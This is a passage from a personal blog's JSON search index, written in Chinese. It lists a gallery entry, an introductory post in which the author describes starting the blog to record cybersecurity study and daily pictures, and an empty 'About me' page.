图片合集\r","date":"2026-08-17T16:35:00+08:00","permalink":"/gallery/the-meaning-of-life/","title":"The meaning of life"},{"content":" 这是本人第一次搭建属于自己的博客\n设计的初衷是为了记录网络安全学习的过程和放些日常图片等等，顺便希望将自己在学习过程中的所学所想记录下来分享给大家，同时也是勉励自己更努力的去投入这个行业学习更多新的知识。\n至于后台什么的初来乍到当然是不敢弄的，也请各位大佬别把我的博客当靶场，谢谢你们！ 本人署名：wzy\n","date":"2026-08-13T00:04:15+08:00","permalink":"/posts/%E7%AC%AC%E4%B8%80%E7%AF%87%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","title":"波奇大王的第一篇学习笔记"},{"content":"\n","date":"0001-01-01T00:00:00Z","permalink":"/about/","title":"关于我"}]